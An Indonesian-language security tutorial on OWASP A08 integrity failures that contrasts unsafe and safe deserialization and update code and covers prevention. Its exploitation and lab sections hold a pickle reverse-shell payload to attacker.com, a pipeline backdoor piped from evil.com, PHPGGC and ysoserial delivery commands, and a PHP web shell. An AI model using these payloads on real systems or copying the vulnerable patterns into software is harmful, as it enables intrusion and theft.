A08 - Software and Data Integrity Failures (Kegagalan Integritas Perangkat Lunak dan Data)
Definisi
Software and Data Integrity Failures adalah kerentanan yang berkaitan dengan kegagalan dalam menjaga integritas perangkat lunak dan data - yaitu memastikan bahwa software, update, dan data belum dimodifikasi atau dirusak oleh pihak yang tidak berwenang. Kategori ini merupakan entri baru di OWASP Top 10 2021, naik dari posisi yang tidak ada di edisi 2017, mencerminkan semakin meningkatnya ancaman terhadap rantai pasok perangkat lunak (supply chain).
Kegagalan integritas terjadi ketika aplikasi atau infrastruktur tidak memverifikasi bahwa software, data, atau pipeline deployment berasal dari sumber yang tepercaya dan belum dimodifikasi. Ini mencakup:
- Insecure Deserialization: Data serialized yang tidak diverifikasi sebelum deserialization
- Supply Chain Attacks: Plugin/library dari sumber tidak dikenal yang mengandung malware
- CI/CD Pipeline Tampering: Build pipeline yang tidak diamankan
- Unsigned Updates: Update software yang tidak ditandatangani (unsigned)
- Man-in-the-Middle Updates: Update didownload dari sumber tidak aman tanpa verifikasi
- Integrity Verification Missing: Tidak ada checksum atau signature verification
- Auto-update tanpa validasi: Update otomatis yang tidak memverifikasi sumber
Dampak
| Dampak | Contoh Nyata |
|---|---|
| Remote Code Execution (RCE) | Insecure deserialization pada Java, PHP, Python, .NET |
| Supply Chain Compromise | SolarWinds Orion - 18.000 organisasi terkena dampak |
| Data Tampering | Data diubah selama transit atau penyimpanan |
| CI/CD Poisoning | Kode jahat di-inject ke dalam production build |
| Malware Distribution | Update software resmi yang mengandung malware (CCleaner, NotPetya via M.E.Doc) |
| Privilege Escalation | Deserialization gadget chain untuk mendapatkan akses root |
| Data Breach | Exfiltasi data melalui update mechanism |
| Ransomware | NotPetya menyebar melalui update software akuntansi |
Contoh Kode
Contoh 1: Insecure Deserialization - PHP
<?php
// unsafe_deserialize.php - DESERIALIZATION TIDAK AMAN
// Data serialized dari user input - SANGAT BERBAHAYA
$user_data = $_COOKIE['user_preferences'];
// Langsung deserialize tanpa validasi!
$preferences = unserialize($user_data);
// Attacker bisa mengirimkan serialized object dengan gadget chain
// Contoh: PHPGGC untuk RCE via unserialize
<?php
// safe_deserialize.php - DESERIALIZATION AMAN
// 1. JANGAN gunakan unserialize() dengan data user
// 2. Gunakan format data yang aman seperti JSON
$user_data = $_COOKIE['user_preferences'];
$preferences = json_decode($user_data, true);
// 3. Jika terpaksa harus menggunakan unserialize:
$allowed_classes = ['UserPreferences', 'Theme'];
// Hanya izinkan class tertentu
$preferences = unserialize($user_data, ['allowed_classes' => $allowed_classes]);
// Atau lebih baik lagi: validasi dengan whitelist class
function safe_unserialize($data, $allowed_classes) {
$object = unserialize($data, ['allowed_classes' => $allowed_classes]);
// Validasi tipe data
if ($object instanceof UserPreferences) {
if (!$object->validate()) {
throw new Exception("Invalid preferences data");
}
return $object;
}
throw new Exception("Unknown class type");
}
Contoh 2: Insecure Deserialization - Python Pickle
# unsafe_pickle.py - DESERIALIZATION PICKLE TIDAK AMAN
import pickle
import base64
# Data serialized dari user input
user_session = request.cookies.get('session_data')
# Langsung load tanpa validasi!
session = pickle.loads(base64.b64decode(user_session))
# Attacker bisa mengirimkan pickle dengan arbitrary code execution
# Payload: pickle yang mengeksekusi os.system()
# safe_pickle.py - HINDARI pickle untuk data user!
import json
# Jangan gunakan pickle untuk data dari user
# Gunakan JSON sebagai gantinya
session = json.loads(request.cookies.get('session_data', '{}'))
# Jika HARUS menggunakan serialization untuk objek komplex:
# Gunakan marshmallow, pydantic, atau protocol buffers
from pydantic import BaseModel
class UserSession(BaseModel):
user_id: int
username: str
role: str
theme: str = "light"
# Validasi ketat dengan Pydantic
session = UserSession(**json.loads(user_data))
Contoh 3: Insecure Deserialization - Java
// UnsafeDeserialize.java - DESERIALIZATION TIDAK AMAN
import java.io.*;
public class UnsafeDeserialize {
public void processData(byte[] data) throws Exception {
// SANGAT BERBAHAYA - deserialize data dari user!
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(data)
);
Object obj = ois.readObject(); // Bisa berupa objek jahat!
ois.close();
}
}
// SafeDeserialize.java - DESERIALIZATION AMAN
import java.io.*;
import org.apache.commons.io.serialization.ValidatingObjectInputStream;
public class SafeDeserialize {
public void processData(byte[] data) throws Exception {
// Gunakan ValidatingObjectInputStream dengan whitelist
ValidatingObjectInputStream ois =
new ValidatingObjectInputStream(
new ByteArrayInputStream(data)
);
// Hanya izinkan class tertentu
ois.accept(UserProfile.class);
ois.accept(Order.class);
ois.accept(Product.class);
// Blacklist class berbahaya yang umum
ois.reject("java.lang.Runtime");
ois.reject("java.lang.ProcessBuilder");
ois.reject("java.lang.reflect.Proxy");
// Atau gunakan look-ahead object input stream
Object obj = ois.readObject();
ois.close();
}
}
Contoh 4: Unsigned Software Update
# unsafe_update.py - UPDATE TIDAK AMAN
import urllib.request
import os
# Mendownload update dari URL tanpa verifikasi
def download_update_bad():
url = "http://updates.evil-company.com/latest.zip"
# HTTP - tidak terenkripsi!
# Tidak ada verifikasi signature
# Tidak ada checksum check
urllib.request.urlretrieve(url, "/tmp/update.zip")
# Langsung ekstrak dan jalankan
os.system(f"unzip -o /tmp/update.zip -d /opt/app/")
os.system("/opt/app/update.sh")
# Man-in-the-middle bisa mengirimkan malware!
# safe_update.py - UPDATE AMAN DENGAN VERIFIKASI
import urllib.request
import hashlib
import gnupg
import os
# Verifikasi integritas dan autentisitas update
def download_update_safe():
# 1. Gunakan HTTPS dengan sertifikat valid
url = "https://updates.trusted-company.com/latest.zip"
# 2. Download checksum dari sumber terpisah
checksum_url = "https://updates.trusted-company.com/latest.sha256"
signature_url = "https://updates.trusted-company.com/latest.zip.sig"
# 3. Download file
urllib.request.urlretrieve(url, "/tmp/update.zip")
urllib.request.urlretrieve(checksum_url, "/tmp/update.sha256")
urllib.request.urlretrieve(signature_url, "/tmp/update.zip.sig")
# 4. Verifikasi SHA256 checksum
with open("/tmp/update.zip", "rb") as f:
actual_hash = hashlib.sha256(f.read()).hexdigest()
with open("/tmp/update.sha256") as f:
expected_hash = f.read().strip()
if actual_hash != expected_hash:
raise Exception("Checksum mismatch! File mungkin telah dimodifikasi!")
# 5. Verifikasi GPG signature
gpg = gnupg.GPG()
with open("/tmp/update.zip", "rb") as f:
verified = gpg.verify_file(f, "/tmp/update.zip.sig")
if not verified:
raise Exception("Signature tidak valid! Update tidak dari sumber tepercaya!")
# 6. Baru aman untuk diinstall
os.system(f"unzip -o /tmp/update.zip -d /opt/app/")
Skenario Eksploitasi
Skenario 1: PHP Deserialization Gadget Chain
PHP unserialize() bisa mengeksekusi arbitrary code melalui gadget chain - urutan objek yang method-methodnya terpanggil secara otomatis selama deserialization (__wakeup, __destruct, __toString, dll).
# Step 1: Identifikasi endpoint yang menggunakan unserialize
# Cari parameter seperti data, serialized, session, preferences
curl -v https://target.com/profile \
-b "user_preferences=O:8:\"stdClass\":0:{}"
# Step 2: Gunakan PHPGGC untuk generate payload
# PHPGGC adalah library gadget chain untuk PHP
git clone https://github.com/ambionics/phpggc
cd phpggc
# Generate RCE payload untuk Laravel
php phpggc Laravel/RCE1 system 'id'
# Output: O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{...}
# Step 3: Exploit
curl -v https://target.com/profile \
-b "user_preferences=O:40:\"Illuminate...\":{...}"
# Step 4: Verifikasi RCE - cek response
# Jika sukses, server mengeksekusi perintah 'id'
Skenario 2: Python Pickle Deserialization
# exploit_pickle.py - Membuat pickle payload untuk RCE
import pickle
import os
import base64
class EvilPickle(object):
def __reduce__(self):
# Perintah yang akan dieksekusi saat deserialization
cmd = "bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"
return (os.system, (cmd,))
# Generate payload
payload = base64.b64encode(pickle.dumps(EvilPickle())).decode()
print(f"Payload: {payload}")
# Kirim ke target
curl -X POST https://target.com/load_session \
-H "Content-Type: application/json" \
-d "{\"session_data\": \"$payload\"}"
Skenario 3: Supply Chain Attack - Typosquatting
# Step 1: Attacker membuat package dengan nama mirip (typosquatting)
# request -> requeset (salah satu huruf berbeda)
# urllib3 -> urlllib3 (double 'l')
# flask -> flaks
# Step 2: Upload package jahat ke PyPI/npm
# Step 3: Developer tanpa sengaja menginstall package salah
# Deteksi package mencurigakan
pip show requeset # Apakah terinstall?
pip list | grep -E '(requeset|urlllib3|flaks)'
# Cek package yang mencurigakan
pip install package-check
package-check requirements.txt
# Step 4: Package jahat bisa:
# - Mencuri environment variables
# - Install backdoor
# - Mengirim kredensial ke server attacker
# - Memodifikasi kode aplikasi
Skenario 4: CI/CD Pipeline Attack
# Attacker mendapatkan akses ke CI/CD pipeline dan memodifikasi build
# Langkah attacker:
# 1. Compromise akun developer dengan akses ke CI/CD
# 2. Inject kode berbahaya ke dalam build script
# 3. Build baru berisi malware
# 4. Deploy ke production
# Contoh: Inject script jahat di GitHub Actions
# .github/workflows/deploy.yml (dimodifikasi oleh attacker)
jobs:
build:
steps:
- uses: actions/checkout@v4
- name: Build
run: |
# Kode asli
npm run build
# Kode jahat yang di-inject
curl -s http://evil.com/backdoor.sh | bash
- name: Deploy
run: |
# Deploy build yang sudah terkontaminasi
scp -r dist/* user@production:/var/www/html/
Pencegahan
1. Verifikasi Integritas Data
# integrity_verification.py - Verifikasi integritas data
import hashlib
import hmac
class IntegrityVerifier:
def __init__(self, secret_key):
self.secret_key = secret_key
# 1. HMAC untuk verifikasi data
def sign_data(self, data):
"""Tandatangani data dengan HMAC"""
return hmac.new(
self.secret_key.encode(),
data.encode(),
hashlib.sha256
).hexdigest()
def verify_data(self, data, signature):
"""Verifikasi data dengan HMAC"""
expected = self.sign_data(data)
return hmac.compare_digest(expected, signature)
# 2. Checksum untuk file
def calculate_checksum(self, filepath):
sha256 = hashlib.sha256()
with open(filepath, 'rb') as f:
for chunk in iter(lambda: f.read(4096), b''):
sha256.update(chunk)
return sha256.hexdigest()
def verify_checksum(self, filepath, expected_checksum):
actual = self.calculate_checksum(filepath)
return actual == expected_checksum
# 3. Content Security untuk data serialized
def secure_serialize(self, data):
"""Serialize dengan integritas"""
serialized = json.dumps(data)
signature = self.sign_data(serialized)
return {
'data': serialized,
'signature': signature,
'timestamp': time.time()
}
def secure_deserialize(self, payload):
"""Deserialize dengan verifikasi integritas"""
# Cek timestamp
if time.time() - payload['timestamp'] > 3600:
raise Exception("Data expired")
# Verifikasi signature
if not self.verify_data(payload['data'], payload['signature']):
raise Exception("Integritas data terganggu!")
return json.loads(payload['data'])
2. Secure CI/CD Pipeline
# .github/workflows/secure-pipeline.yml - Pipeline aman
name: Secure Build & Deploy
on:
push:
branches: [main]
pull_request:
branches: [main]
jobs:
verify:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# 1. Verify signed commits
- name: Verify Commit Signatures
run: |
git verify-commit HEAD || echo "⚠️ Commit tidak ditandatangani!"
# 2. Dependency integrity
- name: Verify Dependencies
run: |
# npm: verifikasi integrity dari lockfile
npm ci --only=production
npm audit --audit-level=high
# Atau Python
pip install --require-hashes -r requirements.txt
# 3. SAST scan
- name: Static Analysis
uses: github/codeql-action/analyze@v3
# 4. SCA scan
- name: Dependency Check
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
# 5. Build dengan reproducible build
- name: Build
run: |
# Build dengan deterministik
npm run build
# 6. Sign artifacts
- name: Sign Build Artifacts
run: |
gpg --batch --yes --sign dist/app.zip
sha256sum dist/app.zip > dist/app.zip.sha256
# 7. SBOM generation
- name: Generate SBOM
uses: cyclonedx/gha-generate-sbom@v1
3. Implementasi Deserialization yang Aman
# secure-deserialization-checklist.yaml
checklist:
general:
- gunakan_format_data_aman: true # JSON, Protocol Buffers, MessagePack
- hindari_native_serialization: true # Pickle, PHP serialize, Java serialization
- validasi_input_sebelum_deserialize: true
- gunakan_allowlist_class: true
- implementasikan_integrity_check: true
python:
- jangan_gunakan_pickle_untuk_data_user: true
- gunakan_json_atau_pydantic: true
- jika_terpaksa_pickle_gunakan_hmac: true
php:
- jangan_gunakan_unserialize_dengan_data_user: true
- gunakan_json_decode: true
- jika_terpaksa_gunakan_allowed_classes: true
java:
- gunakan_validatingobjectinputstream: true
- filter_class_dengan_whitelist: true
- gunakan_serial_killer_filter: true
- aktifkan_jep_290: true
.net:
- gunakan_binaryformatter_dengan_serializationbinder: true
- gunakan_datacontractserializer: true
- aktifkan_custom_serialization_binder: true
4. Checklist Pencegahan Supply Chain
- Software Bill of Materials (SBOM): Buat dan maintain SBOM untuk semua komponen
- Vendor Assessment: Evaluasi keamanan vendor library sebelum digunakan
- Dependency Pinning: Gunakan versi spesifik, jangan range atau latest
- Integrity Verification: Verifikasi checksum dan signature setiap download
- Private Registry: Gunakan private package registry (Nexus, Artifactory, Verdaccio)
- Code Signing: Tandatangani semua kode dan artifact dengan GPG/Code Signing Certificate
- CI/CD Security: Amankan pipeline - akses terbatas, audit trail, signed commits
- Reproducible Builds: Build yang deterministik untuk verifikasi
- Vulnerability Scanning: Scan semua dependency secara rutin
- Dependency Review: Review setiap perubahan dependency di pull request
- Least Privilege: Batasi akses ke registry, CI/CD, dan production
- Monitor Supply Chain: Pantau advisories keamanan untuk library yang digunakan
5. Tools untuk Pencegahan
| Tool | Fungsi | Kategori |
|---|---|---|
| in-toto | Framework keamanan supply chain | Supply Chain |
| SLSA Framework | Supply chain levels for software artifacts | Framework |
| sigstore | Code signing dan verification | Signing |
| TUF (The Update Framework) | Secure update system | Update |
| Grafeas | Metadata API untuk artifact | Metadata |
| Snyk | SCA dan supply chain security | SCA |
| Dependency-Check | OWASP dependency scanner | SCA |
| PHPGGC | PHP gadget chain database (untuk testing) | Testing |
| ysoserial | Java deserialization exploit generator | Testing |
| ysoserial.net | .NET deserialization exploit generator | Testing |
CWE Mapping
| CWE ID | Nama | Deskripsi |
|---|---|---|
| CWE-502 | Deserialization of Untrusted Data | Deserialization data dari sumber tidak tepercaya tanpa validasi. CWE utama untuk insecure deserialization - memungkinkan RCE, DoS, atau privilege escalation. |
| CWE-353 | Missing Support for Integrity Check | Tidak ada mekanisme verifikasi integritas seperti checksum, HMAC, atau signature pada data atau software. |
| CWE-345 | Insufficient Verification of Data Authenticity | Verifikasi autentisitas data yang tidak memadai - tidak memastikan data berasal dari sumber tepercaya. |
| CWE-494 | Download of Code Without Integrity Check | Mendownload kode tanpa memverifikasi checksum atau signature. |
| CWE-829 | Inclusion of Functionality from Untrusted Control Sphere | Memasukkan fungsionalitas dari sumber pihak ketiga yang tidak tepercaya. |
| CWE-1236 | Improper Neutralization of Formula Elements in a CSV File | Kerentanan CSV injection yang merupakan bagian dari integrity failures. |
| CWE-1104 | Use of Unmaintained Third-Party Components | Menggunakan komponen yang tidak terawat, berpotensi memiliki celah integritas. |
| CWE-1357 | Reliance on Insufficiently Trustworthy Component | Ketergantungan pada komponen yang tingkat kepercayaannya tidak memadai. |
Lab Terkait
1. WebWolf - File Upload RCE
- Deskripsi: WebWolf dari OWASP WebGoat memiliki challenge file upload yang memungkinkan RCE
- Endpoint:
/WebWolf/fileupload - Eksploitasi: Upload file berbahaya yang mengeksploitasi deserialization
- Tools: curl, browser, PHPGGC
# Buat payload file upload
echo '<?php system($_GET["cmd"]); ?>' > shell.php
# Upload file
curl -X POST https://target.com/WebWolf/fileupload \
# Akses shell
curl https://target.com/files/shell.php?cmd=id
2. Laravel - Deserialization RCE
- Deskripsi: Laravel dengan debug mode dan APP_KEY yang terekspos
- Eksploitasi: PHP deserialization via gadget chain Laravel
- Tools: PHPGGC, curl
# Step 1: Dapatkan APP_KEY dari debug mode
curl -s https://target.com/_debugbar/open | grep APP_KEY
# Step 2: Generate payload dengan PHPGGC
php phpggc Laravel/RCE1 system 'cat /etc/passwd' | base64
# Step 3: Kirim payload via X-XSRF-TOKEN atau cookie
curl -v https://target.com/ \
-b "app_key_payload=$(php phpggc Laravel/RCE1 system 'id' | base64)"
3. Java Deserialization Lab
- Deskripsi: Aplikasi Java yang menggunakan ObjectInputStream tanpa validasi
- Eksploitasi: ysoserial untuk generate payload
- Tools: ysoserial, Burp Suite
# Generate payload dengan ysoserial
java -jar ysoserial.jar CommonsCollections1 'touch /tmp/pwned' > payload.bin
# Kirim payload ke endpoint
curl -X POST https://target.com/deserialize \
--data-binary @payload.bin \
-H "Content-Type: application/octet-stream"
# Atau via cookie
curl -v https://target.com/ \
-b "session=$(cat payload.bin | base64)"
4. Lab Supply Chain - Dependency Confusion
- Deskripsi: Lab untuk mendemonstrasikan dependency confusion attack
- Eksploitasi: Membuat package dengan nama yang sama di public repository yang "menang" atas private registry
- Tools: pip, npm, curl
# Simulasi dependency confusion
# 1. Cari nama package internal yang tidak ada di public repo
# 2. Buat package dengan nama yang sama di PyPI/npm
# 3. Build pipeline akan menginstall package jahat
# Deteksi dependency confusion
npm show @company/internal-package # Cek apakah ada di public registry?
pip install --dry-run --index-url https://pypi.org internal-package
Kesimpulan
Software and Data Integrity Failures menjadi semakin kritis seiring dengan meningkatnya kompleksitas rantai pasok perangkat lunak. Serangan seperti SolarWinds (2020), Codecov (2021), dan Log4j (2021) menunjukkan betapa rentannya infrastruktur software modern.
Poin-poin kunci:
- Trust nothing, verify everything - jangan pernah percaya data serialized, update, atau dependency tanpa verifikasi
- Deserialization adalah salah satu kerentanan paling berbahaya - dapat menyebabkan RCE dengan satu payload
- Supply chain attack semakin meningkat - lindungi pipeline CI/CD dan verifikasi semua dependency
- SBOM adalah kebutuhan - tanpa SBOM, Anda tidak tahu apa yang berjalan di aplikasi Anda
- Code signing dan integrity checking harus menjadi bagian wajib dari setiap proses build dan deploy
Ke depannya, adopsi framework seperti SLSA (Supply chain Levels for Software Artifacts) dan in-toto akan menjadi standar industri untuk memastikan integritas software dari development hingga deployment.